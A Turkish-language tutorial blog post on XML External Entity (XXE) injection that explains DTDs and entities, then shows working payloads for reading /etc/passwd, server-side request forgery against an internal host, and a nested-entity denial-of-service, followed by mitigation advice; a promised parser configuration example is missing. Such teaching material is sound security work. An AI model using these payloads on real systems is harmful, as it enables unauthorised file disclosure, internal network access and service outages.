Uygulama Güvenliği
XML External Entity Injection (XXE) Zafiyeti
Güvenlik açıkları genellikle uygulamaların sunduğu özelliklerin kötüye kullanılmasından kaynaklanmaktadır. Bu sebeple, XML External Entity Injection (XXE) zafiyetinin ne olduğuna geçmeden önce XML'in sunduğu özellikleri incelememiz, zafiyetin neden kaynaklandığı anlayabilmemiz için fayda sağlayacaktır.
XML (eXtensible Markup Language), genel olarak veri depolamak ve farklı platformlar arasında veri taşımak üzere kullanılan işaretleme dilidir. Farklı teknolojiler ve ortamlar arasında verilerin ortak bir formatta taşınması amacıyla kullanılmaktadır. Yapı olarak HTML'e benzer ve istenildiği gibi özelleştirilebilir.
Örnek XML Belgesi:
<?xml version="1.0" encoding="UTF-8"?>
<person>
<name>Harold</name>
<surname>Finch</surname>
<description>XML Sample</description>
</person>
Uygulamalar üzerinde, XML formatta gelen verilerin kullanılması için öncelikle XML Parsing işleminden geçirilmesi gerekir. Uygulama tarafında, gelen XML veriler üzerinde çeşitli işlemler yapmak isteyebiliriz. Örneğin, verileri alıp veri tabanına yazmak veya veriler üzerinde bazı işlemler uygulamayıp ekranda göstermek isteyebiliriz. Bu gibi durumlarda, ilk olarak XML verilerin ayrıştırılması (XML Parsing) gerekir.
XML Parsing işlemi için kullanılan programlama dilinin sunduğu standart kütüphaneler veya API'lar (XML Parser’lar) kullanılır. XML Parsing işleminin altını çizelim ve zafiyetin neden kaynaklandığını anlamak için XML'in sunduğu bazı özellikleri incelemekle devam edelim.
Document Type Definition (DTD)
İlk özelliğimiz olan Document Type Definition (DTD), XML belgesinin yapısını ve niteliklerini tanımlar. Bu durumu, veri tabanındaki alanları oluştururken kullandığımız yapıya benzetebiliriz. Örneğin, id alanı INT veya adres alanı VARCHAR 255 tanımlanması gibi.
DTD'ler, XML belgesinin içerisinde (internal) tanımlanabileceği gibi başka bir kaynak (external) üzerinden de dahil edilebilir. Harici bir kaynağa erişim sağlamak için XML'in desteklendiği SYSTEM niteliğini kullanıyoruz. SYSTEM niteliği, HTTP ve FILE gibi protokolleri desteklemektedir.
Aşağıdaki örnekte, XML belgesinin olduğu dizindeki Person.dtd adlı dosyaya SYSTEM niteliği ile erişilerek, external DTD tanımlaması yapılmıştır.
External DTD tanımlanması:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person SYSTEM "Person.dtd">
<person>
<name>Harold</name>
<surname>Finch</surname>
<description>XML Sample</description>
</person>
Person.dtd dosyasının içeriği:
<!DOCTYPE person
[
<!ELEMENT person (name,surname,description)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT surname (#PCDATA)>
<!ELEMENT description (#PCDATA)>
]>
Aşağıdaki örnekte ise XML belgesi içerisinde (internal olarak) DTD tanımlaması yapılmıştır.
Internal DTD tanımlanması:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
<!ELEMENT person (name,surname,description)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT surname (#PCDATA)>
<!ELEMENT description (#PCDATA)>
]>
<person>
<name>Harold</name>
<surname>Finch</surname>
<description>XML Sample</description>
</person>
XML Parser, XML veriyi ayrıştırırken öncelikle DTD tanımını okur ve buradaki direktiflere göre XML'i yorumlar.
Entities
İkinci özelliğimiz olan Entity kavramı ile devam edelim. Entity'ler XML'e dinamiklik katmak için tanımlanabilecek varlıklardır. Entity’leri, DOCTYPE ile birlikte kullanabiliyoruz ve hem belge içerisinde (internal) hem de başka bir kaynak (external) üzerinden tanımlayabiliyoruz.
Entity’lerin SYSTEM niteliğine erişimi vardır. Örneğin, başka bir kaynak üzerinden (dosya yolu veya URL) SYSTEM niteliği ile entity tanımlaması yapabiliyoruz. Tanımlandığımız bu entity’leri de XML belge içerisinde çağırabiliyoruz.
Internal Entity Tanımlanması:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
<!ENTITY sample "Person Of Interest">
]>
<person>
<name>Harold</name>
<surname>Finch</surname>
<description>&sample;</description>
</person>
External Entity Tanımlanması:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
<!ENTITY sample SYSTEM "https://example.com/test.dtd">
]>
<person>
<name>Harold</name>
<surname>Finch</surname>
<description>&sample;</description>
</person>
Buraya kadar anlatılan durumu özetleyelim. DOCTYPE üzerinden Entity tanımlamaları yapabiliyoruz. Entity’lerin SYSTEM niteliğine erişimi var ve SYSTEM niteliği üzerinden harici kaynaklara erişim sağlayabiliyoruz. Son olarakta XML belgemiz içerisinde tanımlanan entity’leri çağırarak, kullanabiliyoruz.
Buraya kadar öğrendiklerimiz ile XML External Entity Injection (XXE) zafiyetinin nasıl oluşabileceği ile ilgili yavaş yavaş taşlar yerine oturmaya başladığına eminiz :) Zafiyetin anlaşılması için bazı XML özelliklerini ve temel yapıyı öğrendikten sonra artık zafiyet üzerine konuşmaya geçelim.
XML External Entity Injection (XXE)
XXE, XML verilerin Parsing yapıldığı anda meydana gelir. XML verisine, harici (external) entity tanımları dahil edilerek, parsing sırasında XML verilerin işlenmesine müdahale edilmesiyle ortaya çıkmaktadır. XML'in sunduğu bazı özelliklerin kötüye kullanılmasından kaynaklanır.
XML Parser’lar, veriyi ayrıştırırken belge içerisindeki DTD ve Entity tanımlarını okur ve verilen direktiflere göre yorumlar. XML Parser üzerinde, harici entity tanımlarına izin veriliyorsa, saldırganlar XML verilerine harici entity tanımları dahil ederek, parsing sırasında amaçları doğrultusunda işlem yaptırabilir. Bu zafiyet üzerinden, dosya okuma, SSRF (Server-side Request Forgery) yani sunucu taraflı istek yapılabilmesi veya hizmet kesintisi (DoS) saldırıları gerçekleştirilebilir.
Örnekler:
Dosya Okuma:
Örneğin, bir e-ticaret uygulamasında ürünün stokta olup olmama durumunu sorgularken aşağıdaki gibi bir istek yapıldığını düşünelim.
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>381</productId>
</stockCheck>
Saldırganlar, XML verisine harici entity tanımlaması dahil ederek, sunucu tarafında (yetkileri doğrultusunda) istedikleri dosyaları okuyabilir. Örnek olarak, “test” adında bir entity tanımlanmış ve SYSTEM niteliği üzerinden “/etc/passwd” kaynağı çağrılmıştır.
Yapılan İstek:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&test;</productId>
</stockCheck>
Dönen Cevap:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Server-side Request Forgery (SSRF)
SSRF zafiyeti, sunucu taraflı istek yaptırılabilmesine olanak tanıyan bir güvenlik açığıdır. XXE zafiyeti üzerinden SSRF atakları gerçekleştirilebilir. Örneğin, kullanıcının doğrudan erişim sağlayamadığı ancak uygulama sunucunun erişebildiği, iç ağda yer alan sistemlere erişim sağlanabilir.
HTTP GET İsteğinin Yapılması:
<!DOCTYPE demo [
<!ENTITY test SYSTEM "http://internal.vulnerable-website.com/">
]>
Denial of Service (DoS)
Örneğin, XML veri içerisinde iç içe entity tanımlamaları yapılmasıyla, parsing sırasında gereksiz yük oluşturabilir böylece sistemin hizmet veremez duruma gelmesine sebep olabilir.
İç İçe Entity Tanımlamaları:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>
XXE zafiyeti, uygulama yüklenen dosyalar üzerinden de tetiklenebilir. Örneğin, SVG ve ofis dosyaları (docx ve xlsx vb.) gibi. SVG dosya tipi, XML formatlı resim dosyalarıdır. Aynı durum ofis dosyaları için de geçerlidir. Örneğin, docx uzantılı bir dosyayı unzip ettiğimizde XML uzantılı dosyaları görüyor olacağız.
Yaşanmış bir olay ile devam edelim. Geçtiğimiz senelerde, Facebook Careers sayfası üzerinde, XXE zafiyeti tespit edilmişti. Sayfa üzerinde CV yükleme alanı bulunuyordu ve buraya sadece PDF ve DOCX uzantılı dosyalar yüklenebiliyordu. DOCX formatının aslında XML dosyalarından oluştuğunu söylemiştik. Zafiyeti tespit eden güvenlik araştırmacısı, özel olarak hazırladığı DOCX dosyası üzerinden zafiyeti tetikleyebilmişti.
Zafiyetin neden kaynaklandığından ve nelere sebep olabileceğinden bahsettik peki bu zafiyeti çözmek için ne yapmamız gerekiyor? XXE zafiyetinin giderilmesi için XML Parser üzerinde, DOCTYPE ve Entity işlemcileri devre dışı bırakılmalıdır. Bazı XML Parser’lar üzerinde bu özellikler varsayılan olarak devre dışı bırakılmış olsa da kullanılan XML Parser’ın yapılandırmasında bu özelliklerin devre dışı bırakıldığından emin olunmalıdır.
Örnek olarak, SAXParserFactory sınıfında bu özellikleri devre dışı bırakmak için;
Daha fazla bilgi edinmek için OWASP tarafından hazırlanan XXE Prevention Cheat Sheet incelenebilir.
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
Haktan EMİK - TURKCELL Offensive Security
Web uygulama güvenliği adına faydalı bir yazı, devamının da gelmesi dileğiyle :)